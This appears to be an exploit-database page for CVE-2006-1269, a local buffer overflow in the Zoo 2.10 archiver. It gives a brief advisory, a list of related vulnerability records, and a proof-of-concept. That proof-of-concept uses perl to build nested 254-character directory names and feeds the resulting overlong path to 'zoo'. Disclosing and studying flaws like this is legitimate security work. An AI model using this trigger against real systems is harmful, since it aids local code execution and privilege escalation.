Zoo 2.10 - Parse.c Local Buffer Overflow Vulnerability

🗓️ 12 Mar 2014 00:00:00Reported by Josh BressersType

zdt🔗 0day.today👁 32 Views

Zoo 2.10 - Parse.c Local Buffer Overflow Vulnerability. Execute arbitrary code to gain elevated privilege

Reporter	Title	Published	Views	Family All 12
CVE	CVE-2006-1269	19 Mar 200602:00	–	cve
Cvelist	CVE-2006-1269	19 Mar 200602:00	–	cvelist
Debian CVE	CVE-2006-1269	19 Mar 200602:00	–	debiancve
EUVD	EUVD-2006-1273	7 Oct 202500:30	–	euvd
Tenable Nessus	GLSA-200603-12 : zoo: Buffer overflow	16 Mar 200600:00	–	nessus
Gentoo Linux	zoo: Buffer overflow	16 Mar 200600:00	–	gentoo
NVD	CVE-2006-1269	19 Mar 200602:02	–	nvd
OpenVAS	Gentoo Security Advisory GLSA 200603-12 (zoo)	24 Sep 200800:00	–	openvas
OpenVAS	Gentoo Security Advisory GLSA 200603-12 (zoo)	24 Sep 200800:00	–	openvas
Prion	Buffer overflow	19 Mar 200602:02	–	prion

source: http://www.securityfocus.com/bid/17126/info
 
Zoo is prone to a local buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in a finite-sized buffer.
 
An attacker can exploit this issue to execute arbitrary code in the context of the victim user running the affected application to potentially gain elevated privileges.
 
mkdir `perl -e 'print "A"x254'`
cd `perl -e 'print "A"x254'`
mkdir `perl -e 'print "A"x254'`
cd `perl -e 'print "A"x254'`
touch feh
cd ../..
zoo a arch.zoo `perl -e 'print "A"x254 . "/" . "A"x254 . "/feh"'`

#  0day.today [2018-01-08]  #

12 Mar 2014 00:00Current

6.6Medium risk

Vulners AI Score6.6

EPSS0.00253